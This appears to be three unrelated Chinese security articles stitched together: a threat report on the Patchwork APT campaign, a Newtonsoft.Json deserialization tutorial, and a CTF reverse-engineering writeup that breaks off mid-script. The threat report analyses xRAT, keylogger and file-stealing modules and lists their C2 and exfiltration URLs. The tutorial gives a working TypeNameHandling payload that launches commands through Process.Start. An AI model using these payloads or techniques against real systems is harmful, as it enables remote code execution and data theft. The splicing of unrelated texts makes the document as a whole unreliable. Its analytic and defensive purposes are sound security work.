Elephant、Patchwork，是一个来自于南亚地区的境外APT组织，该组织已持续活跃了8年。摩诃草组织最早由Norman安全公司于2013年曝光，该组织主要针对中国、巴基斯坦等亚洲地区和国家进行网络间谍活动。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击。
在2018年春节前后，360威胁情报中心与360安全监测与响应中心协助用户处理了多起非常有针对性的鱼叉邮件攻击事件，发现了客户邮件系统中大量被投递的鱼叉邮件，被攻击的单位为某些重要敏感的政府机构。而经过溯源分析与关联，幕后团伙正是摩诃草组织（APT-C-09）。360威胁情报中心在本文中对本次攻击活动的过程与细节进行揭露，希望企业组织能够引起重视，并采取必要的应对措施。
## 鱼叉邮件
2018年春节前后，一些重要敏感的政府机构接连收到一些带有链接的鱼叉邮件，诱导用户点击邮件的链接下载打开带漏洞的Office文档，一旦用户下载并打开文档，则会促发漏洞并继续下载执行远控木马长期控制用户电脑。
攻击者向目标发送与其工作内容相关的邮件信息，并诱导目标通过邮件中的链接下载附件文档，部分鱼叉邮件如下：
而下载回来的文档则是利用了CVE-2017-8570的Office漏洞文档，360威胁情报中心曾在2018年1月首次公开分析了利用CVE-2017-8570进行攻击的野外样本（详见参考
[1]），由于该漏洞弥补了CVE-2017-0199的天生缺陷，可以看到该漏洞Exploit被公开后，马上就被摩诃草APT组织纳入使用。
## 样本分析
### 样本执行过程
目标用户一旦通过邮件中的链接下载并打开带有漏洞的Office文档，则会触发漏洞并执行恶意脚本，恶意脚本会继续下载执行远控木马，并筛选特定目标继续下发执行特定的木马模块，整个样本执行流程如下：
### 漏洞文档（CVE-2017-8570）分析
下载回来的文档为利用CVE-2017-8570的漏洞文档（漏洞详细分析见参考[1]）。漏洞利用样本包含三个Objdata，其中两个为Package对象，一个为包含CVE-2017-8570漏洞的OLE2Link。样本利用RTF文档自动释放Package对象的特性，将包含的两个Package对象释放至%TMP%目录下，最后通过CVE-2017-8570触发执行释放的恶意脚本，再通过脚本执行释放的EXE文件，Objdata对象信息如下：
包含漏洞的OLE2Link对象中设置File Moniker对应的文件为Z24UY3F0IYDULRD.sct脚本，漏洞触发后通过COM接口加载并执行：
Z24UY3F0IYDULRD.sct为Scriptletfile，其主要功能为通过WScript.Shell接口启动执行%TMP%目录下的qrat.exe木马程序：
### qrat.exe
释放的qrat.exe为C#编译的Dropper，使用.NET Reactor
4.x加壳，程序内的Form1.dllcopy函数负责从资源中释放出Microsoft.Win32.TaskScheduler.dll，并释放到同目录下，Form1.Stask函数则设置计划任务，而Form1.execopy负责从资源中释放文件到：%appdata%\Microsoft
Network\microsoft_network\1.0.0.0\
microsoft_network.exe，最后删除自身以及Microsoft.Win32.TaskScheduler.dll并退出：
主控程序会通过Microsoft.Win32.TaskScheduler.dll添加计划任务，使得释放的恶意程序microsoft_network.exe在每天0点启动，每5分钟重复执行一次，持续60天：
Microsoft.Win32.TaskScheduler.dll是一个计划任务的开源项目，带有AirVPN的正常签名，这有可能使得添加计划任务时能躲避杀毒软件的拦截：
microsoft_network.exe由C++编译，其会从从资源取数据，每1024字节解密一次：
解密算法：
解密后的数据通过zlib解压：
解压后的PE为C#编写的DLL文件：
最后通过CLR寄宿在C++的进程空间中加载C# DLL程序，调用类名为”_._”中”___”函数：
通过“___” 函数加载资源“_”并运行：
### xRAT
最终被执行的模块为C#编写的远控程序，其代码被严重混淆，去混淆后，发现该木马结构与GitHub上的开源远控项目xRAT的某个版本的代码结构完全一致（2015年xRAT已改名为QuasarRAT）。因此确定主控木马为xRAT：
使用GitHub上下载的xRAT客户端源码进行编译，并劫持上线域名到本地成功上线：
#### 远控功能
样本运行后，首先利用AES算法解密自身的配置文件：
解密后的配置信息：
C2地址为：tautiaos.com
上线端口：23558
上线密码：[[email protected]](mailto:[email protected])
解密完成后，获取本机得操作系统信息、IP地址、所属国家地区等信息，然后设置注册表启动项：
最后连接到C2服务器，将收集的信息传回C2服务器，并根据服务器端返回的数据进行命令分发，最终实现以下主要远控功能：
* 文件管理
* 屏幕控制
* 上传执行
* 远程SHELL
* 进程管理
* 网站访问
### 筛选目标并下发特定模块
攻击者会筛选感兴趣的目标进一步下发特定模块执行特定功能，通过360威胁情报数据平台的关联分析，捕获到以下特定模块：
**MD5** | **路径** | **功能**
---|---|---
e42a8cef2e70d4f3c96c2b8073e7d396 | %appdata% \winfont.exe | 收集文件模块
0fa12f215b8c5cfed492d3c5ee2867b3 | %appdata%\mssctlr.exe | 键盘记录模块
5c3456d5932544b779fe814133344fdb | %appdata%\vsrss.exe | 下载执行模块
f396b476413558266f3abd336e06cbfc | %appdata%\winupdate.exe | 下载执行模块[测试版]
#### 文件收集
winfont.exe为文档收集模块，主要功能为遍历计算机目录获取特定文档并发送给远程服务器，该样本会创建一个240000ms间隔的定时器，并每间隔240000ms遍历特定后缀文件：
而在定时器函数内部，首先会获取过滤文件的后缀进行解密，解密前的文件夹名称字符串和文件类型字符串存储于TFORM1窗口中不同的TlistBox控件处，并通过发送类型为LB_GETTEXT消息到指定窗口，获取字符串进行解密：
字符串解密算法为将字符串”odsf””qdsd”反转、拼接操作后，和0x1F按位与运算作为密钥，解密字符串：
解密后字符串如下：
收集的文件类型
| “doc”
“docx”
“xls”
“xlsx”
“pdf”
“ppt”
“pptx”
“csv”
---|---
排除的文件夹
| “MSOCache”
“PerfLogs”
“Program Files”
“Program Files(x86)”
“ProgramData”
“Windows”
“Windows”
“AppData”
“Application Data”
“$Recycle.Bin”
遍历计算机文件夹，排除特定文件夹后，获取特定文件夹中文档文件，并将收集的文件完整路径写入文件%AppData%\Identities\log.dat中：
再在目录Startup目录下创建快捷方式window updater.lnk指向自身，实现自启动：
最后构造POST包，将获取的.doc, .docx, .xls, .xlsx, .pdf, .ppt, .pptx,
.csv类型文件内容直接通过HTTP表单提交的方式发送至远程服务器（<http://saicgovcn.xyz/systemdb.php>）。其中v1字段为字符串“Backup/用户名-计算机名/文件盘符”， Filename字段为发送文件的文件名：
发送的数据包如下：
#### 键盘记录
键盘记录的插件使用Dephi编写，其首先会创建一个指向自己的快捷方式，放置到启动目录下：
然后通过GetKeyboardState记录击键内容，以及焦点窗口的标题，一起记录到本地文件中：
%AppData%\Identities\version.dat
记录格式如下：
最后把键盘记录的信息通过form的形式提交到服务器：
hxxp://sz81orgcn.com/autoupdate.php?v1=Dwrite/计算机名-用户名，如图：
#### 下载执行
vsrss.exe是一个下载执行模块，该模块会先创建自身的快捷方式到启动文件夹，然后设置两个定时器，第一个定时器每隔240秒会请求URL：
<http://ebeijingcn.live/templates/software.php>
然后通过返回的结果判断是否需要下载执行程序，如果返回的数据里有用于下载的URL，则通过UrlDownLoadToFile下载文件到%AppData%\Microsoft\Network目录并执行，另外一个定时器每隔180秒执行一次，会将机器名和一些杀软信息发送至服务器上。
初始化的时候会解密出一些需要的字符串的路径和URL：
解密出URL：
通过WQL查找杀软：
机器码的算法是获取用户名和机器名，用_连接起来，然后和加密密钥{$%^^%$}运算生成256字节的字典，然后数据和生成的字典异或运算后(类RC4算法)，转换成hex值：
下图为生成字典的代码：
下图为和生成的字典运算生成加密数据的代码：
定时器的内部的功能为每间隔240000ms执行一次请求URL操作，如果返回的数据是需要下载执行的，就会从返回的数据里取到URL下载文件并执行：
最后通过另外一个定时器每隔180000ms执行一次，触发定时器函数通过POST请求把其他的信息发送到URL：
<http://ebeijingcn.live/templates/software.php>，请求格式为：
[http://ebeijingcn.live/templates/software.php?cx=A44F63F1FFA477BCDB74FE69E54E94C20C2B0A&b=A4457AF1E7A476BDDA35C449E331E0>=A4457AF1E7A476BDDA35C449E331E09D48705E5ACACF76511A47C0&tx=D06224ACBCFB41FC91678213A55A909A4E7C282CC0CD6F511847C0C778EA5553](http://ebeijingcn.live/templates/software.php?cx=A44F63F1FFA477BCDB74FE69E54E94C20C2B0A&b=A4457AF1E7A476BDDA35C449E331E0>=A4457AF1E7A476BDDA35C449E331E09D48705E5ACACF76511A47C0&tx=D06224ACBCFB41FC91678213A55A909A4E7C282CC0CD6F511847C0C778EA5553)
GET请求中的各参数含义：
GET参数 | 含义
---|---
b | 机器标识
cx | 杀软信息
gt | 编码后的文件名
tx | 编码后的文件HASH
##
## 溯源与关联分析
### APT-C-09（摩诃草）
通过对此次攻击中使用的下载者/远控代码结构分析、域名/IP关联分析，以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展，我们有理由相信此次攻击的幕后团伙为摩诃草APT组织（APT-C-09）。
比如使用360威胁情报中心数据平台搜索一下其中一个C&C
IP地址：94.242.249.206，可以看到相关IP已经被打上摩诃草的标签，这表明该IP曾经被摩诃草做为网络基础设施使用过：
### 目标范围
通过360威胁情报数据平台的关联分析，在本次攻击活动中，摩诃草APT组织注册了大量与我国敏感单位/机构相关的相似域名，足以说明该团伙正在对我特定的领域进行定向攻击。由于相关信息的特殊性，相关仿冒域名均通过隐藏处理：
www.****-cn.org
---
relay.****-cn.org
www.*******ple-cn.com
www.*************lysis.org
report.*************lysis.org
www.********icy.net
www.*****mil.info
www.****news.today
***.***.armynews.today
www.****zan.xyz
******dia.xyz
web.******news.com
mail.******news.com
******news.com
******nter.com
mail.******nter.com
*****ovcn.xyz
ohos.******ol.com
news.*******ov-cn.org
mailcenter.******ry
mail.*****fr.top
jacques3b.*****fr.top
e4hjd3eed.*****ee.top
****ail.co
### 攻击时间
根据360网络研究院的大网数据，对于tautiaos.com
C&C域名访问在2018年3月16日达到过一个高峰，暗示在这个时间点攻击者曾经发动过一大波攻击：
## 防护建议
### 强化企业信息安全建设
360威胁情报中心和安全监测与响应中心再次提醒各企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。
### 补丁修复
针对此次攻击中所使用的Office漏洞CVE-2017-8570，软件厂商微软已经发布了漏洞相应的补丁，360威胁情报中心建议用户及时更新Office补丁修复漏洞：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
### 禁用“Package” ActiveX Control
360威胁情报中心监控到利用RTF文档自动释放恶意Package对象到%TMP%目录的特性进行Office漏洞攻击的样本越来越多，包括本次攻击中利用了CVE-2017-8570的攻击样本以及最近的CVE-2017-11882等漏洞利用样本都使用了该技巧，所以360威胁情报中心建议用户如果不需要使用插入Package对象这类功能，可以在注册表中通过设置killbit的方式禁用，以彻底封堵这类攻击入口：
**执行命令行命令** | **说明**
---|---
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM
Compatibility\\{F20DA720-C02F-11CE-927B-0800095AE340}” /v “Compatibility
Flags” /t REG_DWORD /d 0x400 | 32位系统版本或64位系统中的64位版本
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM
Compatibility\\{F20DA720-C02F-11CE-927B-0800095AE340}” /v “Compatibility
Flags” /t REG_DWORD /d 0x400 | 64位系统中的32位版本
## 总结
从2009年至今，摩诃草组织针对中国的相关攻击活动几乎没有停止，相反从2015年开始更加活跃，该组织所采用的恶意代码非常繁杂，载荷投递的方式相对传统，主要是以鱼叉邮件进行恶意代码的传播。而防范鱼叉邮件攻击最有效的方式是加强对人的安全意识培训。所以360威胁情报中心再次提醒各单位/企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环。
## IOC
**C &C**
---
tautiaos.com
185.130.212.252
94.242.249.206
**仿冒域名**
www.****-cn.org
relay.****-cn.org
www.*******ple-cn.com
www.***************sis.org
report.***************sis.org
www.********icy.net
www.*****mil.info
www.****news.today
***.***.armynews.today
www.****zan.xyz
******dia.xyz
web.******news.com
mail.******news.com
******news.com
******nter.com
mail.******nter.com
*****ovcn.xyz
ohos.******ol.com
news.*******ov-cn.org
mailcenter.******ry
mail.*****fr.top
jacques3b.*****fr.top
e4hjd3eed.*****ee.top
****ail.co
**URL**
http://sz81orgcn.com/autoupdate.php
http://ebeijingcn.live/templates/software.php
http://ebeijingcn.live/update/software.php
http://saicgovcn.xyz/systemdb.php
**PDB**
C:\Users\Win7\Desktop\spain\qiho\obj\x86\Release\Q360.pdb
C:\Users\TEST-AV\Desktop\RAT\Dual Ip
rat\PK\Bin\Release\CryptoObfuscator_Output\Client.pdb
## 参考
[1].<https://ti.360.net/blog/articles/analysis-of-cve-2017-8570/>
[2].<https://www.anquanke.com/post/id/84333>
[3].<https://archive.codeplex.com/?p=taskscheduler>
[4].<https://github.com/quasar/QuasarRAT/releases> | 社区文章 |
作者: Ivan1ee@360云影实验室
# 0X00 前言
Newtonsoft.Json，这是一个开源的Json.Net库，官方地址：<https://www.newtonsoft.com/json>
，一个读写Json效率非常高的.Net库，在做开发的时候，很多数据交换都是以json格式传输的。而使用Json的时候，开发者很多时候会涉及到几个序列化对象的使用：DataContractJsonSerializer，JavaScriptSerializer
和
Json.NET即Newtonsoft.Json。大多数人都会选择性能以及通用性较好Json.NET，这个虽不是微软的类库，但却是一个开源的世界级的Json操作类库，从下面的性能对比就可以看到它的性能优点。
用它可轻松实现.Net中所有类型(对象,基本数据类型等)同Json之间的转换，在带来便捷的同时也隐藏了很大的安全隐患，在某些场景下开发者使用DeserializeObject方法序列化不安全的数据，就会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
# 0X01 Json.Net序列化
在Newtonsoft.Json中使用JSONSerializer可以非常方便的实现.NET对象与Json之间的转化，JSONSerializer把.NET对象的属性名转化为Json数据中的Key，把对象的属性值转化为Json数据中的Value，如下Demo，定义TestClass对象
并有三个成员，Classname在序列化的过程中被忽略（JsonIgnore），此外实现了一个静态方法ClassMethod启动进程。
序列化过程通过创建对象实例分别给成员赋值，
用JsonConvert.SerializeObject得到序列化后的字符串
{"Name":"Ivan1ee","Age":18}
Json字符串中并没有包含方法ClassMethod，因为它是静态方法，不参与实例化的过程，自然在testClass这个对象中不存在。这就是一个最简单的序列化Demo。为了尽量保证序列化过程不抛出异常，笔者引入
SerializeObject方法的第二个参数并实例化创建JsonSerializerSettings，下面列出属性
NullValueHandling：如果序列化时需要忽略值为NULL的属性，使用JsonSerializerSettings.NullValueHandling.Ignore来实现；
TypeNameAssemblyFormatHandling：默认情况下Json.NET只使用类型中的部分程序集名称，如：System.Data.DataSet，为了避免在一些环境下不兼容的问题，需要用到完整的程序集名称，包括版本号、公钥等，所以用到JsonSerializerSettings.TypeNameAssemblyFormatHandling.Full；
TypeNameHandling：控制Json.NET是否在使用$type属性进行序列化时包含.NET类型名称，并从该属性读取.NET类型名称以确定在反序列化期间要创建的类型
修改代码添加 TypeNameAssemblyFormatHandling.Full、TypeNameHandling.ALL
将代码改成这样后得到的testString变量值才是笔者想要的，打印的数据中带有完整的程序集名等信息。
{"$type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"Ivan1ee","Age":18}
# 0x02 Json.Net反序列化
## 2.1、反序列化用法
反序列过程就是将Json字符串转换为对象，通过创建一个新对象的方式调用JsonConvert.DeserializeObject方法实现的，传入两个参数，第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理，其中TypeNameHandling可选择的成员分为五种
默认情况下设置为TypeNameHandling.None，表示Json.NET在反序列化期间不读取或写入类型名称。具体代码可参考以下
## 2.2、攻击向量—ObjectDataProvider
漏洞的触发点也是在于TypeNameHandling这个枚举值，如果开发者设置为非空值、也就是对象（Objects） 、数组（Arrays） 、自动识别
(Auto) 、所有值(ALL)
的时候都会造成反序列化漏洞，为此官方文档里也标注了警告，当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。
笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课）XmlSerializer反序列化漏洞》，首先来序列化TestClass
指定TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full后得到序列化后的Json字符串
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":null,"Age":0},"MethodName":"ClassMethod","MethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["calc.exe"]},"IsAsynchronous":false,"IsInitialLoadEnabled":true,"Data":null,"Error":null}
如何构造System.Diagnostics.Process序列化的Json字符串呢？笔者需要做的工作替换掉ObjectInstance的$type、MethodName的值以及MethodParameters的$type值，删除一些不需要的Member、最终得到的反序列话Json字符串如下
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
再经过JsonConvert.DeserializeObject反序列化（注意一点指定TypeNameHandling的值一定不能是None），成功弹出计算器。
## 2.3、攻击向量—WindowsIdentity
WindowsIdentity类位于System.Security.Principal命名空间下。顾名思义，用于表示基于Windows认证的身份，认证是安全体系的第一道屏障肩负着守护着整个应用或者服务的第一道大门，此类定义了Windows身份一系列属性
对于用于表示认证类型的AuthenticationType属性来说，在工作组模式下返回NTLM。对于域模式，如果操作系统是Vista或者以后的版本，该属性返回Negotiate，表示采用SPNEGO认证协议。而对于之前的Windows版本，则该属性值为Kerberos。Groups属性返回WindowsIdentity对应的Windows帐号所在的用户组（User
Group），而IsGuest则用于判断Windows帐号是否存在于Guest用户组中。IsSystem属性则表示Windows帐号是否是一个系统帐号。对于匿名登录，IIS实际上会采用一个预先指定的Windows帐号进行登录。而在这里，IsAnonymous属性就表示该WindowsIdentity对应的Windows帐号是否是匿名帐号。
### 2.3.1、ISerializable
跟踪定义得知继承于ClaimsIdentity类，并且实现了ISerializable接口
查看定义得知，只有一个方法GetObjectData
在.NET运行时序列化的过程中CLR提供了控制序列化数据的特性，如：OnSerializing、OnSerialized、NonSerialized等。为了对序列化数据进行完全控制，就需要实现Serialization.ISeralizable接口，这个接口只有一个方法，即
GetObjectData，第一个参数SerializationInfo包含了要为对象序列化的值的合集，传递两个参数给它：Type和IFormatterConverter，其中Type参数表示要序列化的对象全名（包括了程序集名、版本、公钥等），这点对于构造恶意的反序列化字符串至关重要
另一方面GetObjectData又调用SerializationInfo
类提供的AddValue多个重载方法来指定序列化的信息，AddValue添加的是一组`<key,value>`；GetObjectData负责添加好所有必要的序列化信息。
### 2.3.2、ClaimsIdentity
ClaimsIdentity（声称标识）位于System.Security.Claims命名空间下，首先看下类的定义
其实就是一个个包含了claims构成的单元体，举个栗子：驾照中的“身份证号码：000000”是一个claim、持证人的“姓名:
Ivan1ee”是另一个claim、这一组键值对构成了一个Identity，具有这些claims的Identity就是ClaimsIdentity，通常用在登录Cookie验证，如下代码
一般使用的场景我想已经说明白了，现在来看下类的成员有哪些，能赋值的又有哪些？
参考官方文档可以看到 Lable、BootstrapContext、Actor三个属性具备了set
查阅文档可知，这几个属性的原始成员分别为actor、bootstrapContext、lable如下
ClaimsIdentity类初始化方法有两个重载，并且通过前文介绍的SerializationInfo来传入数据，最后用Deserialize反序列化数据。
追溯的过程有点像框架类的代码审计，跟踪到Deserialize方法体内，查找BootstrapContextKey才知道原来它还需要被外层base64解码后带入反序列化
### 2.3.3、打造Poc
回过头来想一下，如果使用GetObjectData类中的AddValue方法添加“key :
System.Security.ClaimsIdentity.bootstrapContext“、”value :
base64编码后的payload“，最后实现System.Security.Principal.WindowsIdentity.ISerializable接口就能攻击成功。首先定义WindowsIdentityTest类
笔者用ysoserial生成反序列化Base64 Payload赋值给BootstrapContextKey，实现代码如下
到这步生成变量obj1的值就是一段poc，但还需改造一下，将$type值改为System.Security.Principal.WindowsIdentity完全限定名
最后改进后交给反序列化代码执行，抛出异常之前触发计算器，效果如下图
# 0x03 代码审计视角
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件非TypeNameHandling.None的枚举值都可以被反序列化，例如以下Json类
都设置成TypeNameHandling.All，攻击者只需要控制传入参数
_in便可轻松实现反序列化漏洞攻击。Github上很多的json类存在漏洞，例如下图
代码中改用了Auto这个值，只要不是None值在条件许可的情况下都可以触发漏洞，笔者相信肯定还有更多的漏洞污染点，需要大家在代码审计的过程中一起去发掘。
# 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
1. 通过JsonConvert.DeserializeObject 反序列化 ，并弹出计算器
最后附上动图
# 0x05 总结
Newtonsoft.Json库在实际开发中使用率还是很高的，攻击场景也较丰富，作为漏洞挖掘者可以多多关注这个点，攻击向量建议选择ObjectDataProvider，只因生成的Poc体积相对较小。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号或者笔者的小密圈。 | 社区文章 |
# 【CTF攻略】百度杯2月第三周Reverse专题writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**Reverse-1 project1**
* * *
**by 渡师傅**
运行一下，看到Input the
flag:，本着去找这个字符串的想法，在ida里找，可惜没找到，但有别的发现BCDFGHJKMPQRTVWXY2346789，凭经验可以推出，这个字符串有问题，跟到他调用的位置sub_404820
char sub_404820()
{
int v0; // esi@1
unsigned int v1; // ebx@1
unsigned int v2; // eax@1
int v3; // ecx@1
int v4; // edi@2
unsigned int v5; // esi@2
char *v6; // ebx@3
char *v7; // eax@3
unsigned __int8 v8; // bl@6
int v9; // edx@9
int v10; // eax@11
int v11; // ecx@11
int v12; // ecx@11
unsigned int v14; // [sp+10h] [bp-8h]@1
unsigned __int8 v15; // [sp+17h] [bp-1h]@1
v0 = dword_40A6E8;
v1 = 0;
v15 = 0;
v14 = 0;
v3 = strlen((const char *)dword_40A6E8);
if ( v3 )
{
do
{
v4 = v0 + v1;
v5 = 0;
do
{
v6 = strchr("BCDFGHJKMPQRTVWXY2346789", *(_BYTE *)(v4 + 2 * v5));
v7 = strchr("BCDFGHJKMPQRTVWXY2346789", *(_BYTE *)(v4 + 2 * v5 + 1));
v3 = (int)v7;
if ( !v6 )
break;
if ( !v7 )
break;
*(&v15 + v5++) = (unsigned int)&Str[-(_BYTE)v7 + 23] | 16
* ((_BYTE)v6 - (unsigned int)"BCDFGHJKMPQRTVWXY2346789");
}
while ( v5 < 1 );
v8 = v15 & 0xF;
switch ( (unsigned int)v15 >> 4 )
{
case 0xEu:
up(v15 & 0xF);
goto LABEL_14;
case 0xCu:
down(v15 & 0xF);
goto LABEL_14;
case 0xDu: // left
v9 = position - v8;
goto LABEL_11;
case 0xFu: // right
v9 = v8 + position;
LABEL_11:
v10 = (unsigned __int8)byte_4076A0[v9];
v11 = (unsigned __int8)byte_4072C0[v9];
count += v8;
v12 = (v10 ^ v11) - (unsigned __int8)byte_407410[v9];
position = v9;
v3 = v12 - (unsigned __int8)byte_407550[v9];
if ( v3 || !v8 )
goto LABEL_13;
break;
default:
LABEL_13:
dword_40A6F4(v3, 0);
LABEL_14:
v9 = position;
break;
}
v0 = dword_40A6E8;
v14 += 2;
v1 = v14;
v2 = strlen((const char *)dword_40A6E8);
}
while ( v14 < v2 );
}
else
{
v9 = position;
}
if ( count != 54 || v9 != 271 )
LOBYTE(v2) = dword_40A6F4(v3, 0);
return v2;
}
dword_40A6E8存的内容是什么还不清楚，不过根据
v3 = strlen((const char *)dword_40A6E8);
能推测出dword40A6E8上是字符串，后面就是对这个dword40A6E8读数据，一次读两字节，求出其在BCDFGHJKMPQRTVWXY2346789中的索引，然后组合成新的字节，再switch这个新字节
switch有4个case，仔细比较的话，可以看出来他们唯一的不同点就是对position的处理比如 case 0xEu: position +=
-17*a1; case 0xCu: position +=
17*a1;这很像走地图的上下左右，而那部分异或比较是校验我们当前position是不是可行的，所以我们可以由此反推出地图，再根据地图退出路径，不过在移动时，不是一步一步移动，而且还限制了总步数，所以我们求最短的操作方式就行了，代码如下：
d_6a0 = [0x87,0xae,0x99,0x3c,0x59,0x41,0x2e,0x1d,0x84,0x23,0x30,0x23,0x26,0x10,0x83,0x5,0x29,0x9d,0xa0,0x16,0xdb,0x41,0x72,0xe7,0x4f,0x64,0x7b,0x8b,0xfe,0x4b,0xff,0x8b,0xf8,0x70,0xa8,0xf3,0x1d,0x20,0x4,0x2a,0x46,0x12,0x74,0x17,0xaa,0x2f,0x23,0xd,0x8e,0xce,0xd5,0x1c,0xe8,0x34,0x7a,0xfa,0x27,0x40,0xe2,0x81,0x3a,0xcb,0xaf,0xff,0x6,0x3,0xe0,0xdd,0x43,0xe9,0xd8,0x9b,0x39,0x52,0xdb,0x57,0x9c,0x73,0x98,0x80,0x46,0xdd,0xa5,0xd8,0xec,0x51,0xde,0x98,0xd7,0x18,0x3d,0xd8,0x7e,0x6,0xdd,0xa0,0x5c,0xd0,0xcd,0x27,0x1f,0x39,0xc6,0x79,0x0,0x93,0xde,0x68,0xd8,0x57,0x53,0x7f,0x10,0x5a,0x3c,0x2c,0x58,0xd8,0x71,0xaa,0x6c,0x7c,0x2e,0x54,0x31,0x74,0x15,0x50,0xd,0xd1,0x88,0x4e,0x98,0xca,0x71,0x99,0xdc,0xf4,0x7e,0x22,0x1b,0x95,0xb,0xfb,0x18,0xea,0x70,0x41,0x8e,0x2b,0x35,0x54,0x32,0xe3,0xff,0xf4,0x75,0x2a,0xbb,0xeb,0x70,0x73,0xc,0x3b,0x90,0x9c,0x31,0x66,0x8c,0xfd,0xd6,0xe6,0x82,0x2e,0xba,0x97,0xdc,0xa2,0x8e,0xd,0xe9,0x72,0x85,0x7,0x1d,0xe2,0x20,0x6c,0x3d,0xa,0x8d,0xa9,0x1,0x5b,0x91,0xb5,0xa2,0x8b,0xd5,0xdc,0x20,0xd5,0x3f,0x7e,0x14,0xae,0x97,0x25,0xfd,0xf,0x43,0x2f,0x12,0xbc,0xc5,0x28,0x2a,0x62,0x35,0xf,0xfc,0x99,0xf6,0x35,0xda,0xc0,0xf,0xe9,0x49,0x49,0x6,0x1d,0x37,0xfa,0x0,0xab,0x47,0xd7,0xc2,0x15,0x39,0x42,0xeb,0x5e,0x13,0x16,0x66,0x82,0xc5,0x89,0x41,0xd2,0x34,0xf9,0x73,0x73,0x4a,0x6,0xcd,0x6,0xc7,0xe9,0xd2,0xc9,0xec,0x69,0xd8,0x4,0x32,0x21,0x43,0xc7,0xc6,0xf0,0x9,0x90,0x11,0xde,0xfe,0xc1,0xef,0x9e,0xac,0x22,0xfd,0x92,0x61,0x59,0x1e]
d_2c0 = [0x10,0x27,0x1b,0x44,0x2e,0x30,0x99,0x7f,0x1f,0xb8,0xb1,0xab,0x78,0x90,0x3a,0x58,0x9e,0x1d,0x9b,0x5d,0x58,0x55,0x3,0x7e,0x28,0x3,0x1a,0x13,0x1c,0x11,0x77,0x27,0x60,0x6,0x93,0x5f,0x56,0xe,0x7d,0x5c,0x29,0x7a,0x10,0x62,0x9e,0x87,0xa3,0xb9,0x6b,0x63,0xbf,0x53,0x4d,0xad,0x16,0xb0,0x15,0x7c,0x71,0xbf,0x2,0xa4,0x2b,0x46,0x55,0x74,0x9d,0x43,0xa1,0x83,0x99,0x94,0x62,0x2d,0x5b,0x14,0x4f,0x18,0x3c,0x7,0x33,0xbc,0x29,0xb8,0x78,0x22,0x94,0xa0,0x5,0x2b,0x69,0x8a,0x4a,0x55,0x44,0x75,0x18,0xba,0xa1,0x3a,0x77,0x99,0x94,0x2e,0x72,0x59,0xba,0xa,0xb6,0x4b,0x6f,0x9,0x9b,0x30,0x41,0x92,0x2,0xbb,0x25,0x97,0xa0,0x58,0xa9,0x3d,0x99,0xac,0x6a,0x7d,0x51,0x5f,0x7,0xa,0x3f,0x58,0x15,0xb4,0x3,0x47,0x14,0x4c,0x79,0xa9,0x62,0x89,0x8e,0x87,0x2f,0xaa,0x12,0x40,0xb1,0x9d,0x4f,0x89,0x99,0x20,0x1a,0xb2,0x85,0x26,0x27,0xab,0x77,0x7c,0x21,0x6,0x46,0xac,0x3a,0x3e,0x13,0x21,0x0,0xb9,0x7f,0x4d,0xb2,0x8a,0x1b,0x88,0x51,0x3a,0x21,0x3a,0x7a,0x48,0xa1,0x7a,0xb2,0xae,0xbd,0x77,0x83,0x26,0x19,0x17,0x7,0xad,0xe,0x5f,0x42,0x7,0x5e,0x13,0x34,0x3,0xad,0x9e,0x6f,0x40,0x2e,0x73,0x27,0x70,0x5b,0x75,0x48,0x1c,0x69,0x95,0x8c,0x29,0x3b,0x3a,0x4c,0x19,0x56,0xa5,0x16,0x94,0x95,0x55,0x1,0x29,0x1d,0x28,0x3d,0x90,0x94,0x44,0x6e,0x32,0x8e,0x35,0xbb,0x2a,0x88,0x57,0xa1,0x4e,0x99,0x77,0x8e,0xa9,0xa5,0xb5,0x2b,0x8b,0x14,0x6c,0xb9,0x44,0x43,0x15,0x9f,0x2c,0xb9,0xa9,0x2,0x66,0x5c,0x86,0x97,0xa6,0xa4,0x14,0xb5,0xb1,0x51,0xa8,0x6f,0xa4,0x19,0xa9,0x20,0x38,0xa5,0xb1,0x7]
